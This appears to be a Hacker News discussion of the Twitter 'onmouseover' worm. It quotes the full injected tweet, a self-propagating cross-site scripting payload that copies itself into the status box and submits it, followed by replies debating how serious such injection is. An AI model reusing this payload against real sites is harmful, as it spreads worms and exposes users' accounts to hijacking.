4 ms·
This is what it posts "<a href="http://a.no/@onmouseover=;$(textarea:first).val(this.innerHTML);$(.status-update-form).submit() http://a.no/@onmouseover=;$(text
by Swizec 16y ago
This is what it posts "<a href="http://a.no/@onmouseover=;$(textarea:first).val(this.innerHTML);$(.status-update-form).submit() http://a.no/@onmouseover=;$(textarea:first).val(this.innerHT... style="color:#000;background:#000;/" class="tweet-url web" rel="nofollow" target="_blank">http://a.no/@onmouseover=;$(textarea:first).val(this.innerHTML);$(.status-update-form).submit() http://a.no/@onmouseover=;$(textarea:first).val(this.innerHT... style="color:#000;background:#000;/</a>"
It's not a huge security flaw, just some (this time) harmless javascript injection. What it does is it fires a mouseover event, then fills the main textarea with itself and clicks submit.
Elegant and bloody lovely.
Also very easy for twitter to fix.
- vanschelven 16y agoHow is JavaScript injection not a huge security flaw? JavaScript injection -> acquire session -> basically anything (within the context of twitter)
- niekmaas 16y agoHe means that his example is pretty harmless, not the flaw itself. As you state the potential of the flaw is huge!
- thenduks 16y agoIt's clearly a huge security flaw, but as you say -- only within the context of twitter. Looking at the big picture of my life something like this doesn't even register. What's the worst thing that could happen, really? A popup? Maybe my account gets stolen somehow? Some garbage tweets in my timeline that I delete later with a non-web client? All of the sudden I'm following some spammers... I'd get over it.
- semanticist 16y agoYou could send a DM to everyone you know with an shortened URL that links to a page full of malware and evil that pwns their computer, steals all their data and account log ins, and uses their machine as part of a botnet. Because the DM would come from you, a person they know, the person is more likely to trust the page or file that's linked to and less likely to catch it brutalising their computer. The actual data on your Twitter account might not be valuable in itself, but it has significant value as a vector for other attacks.
- mfukar 16y agoYou are a brave soul, sir, putting "harmless" next to "javascript injection".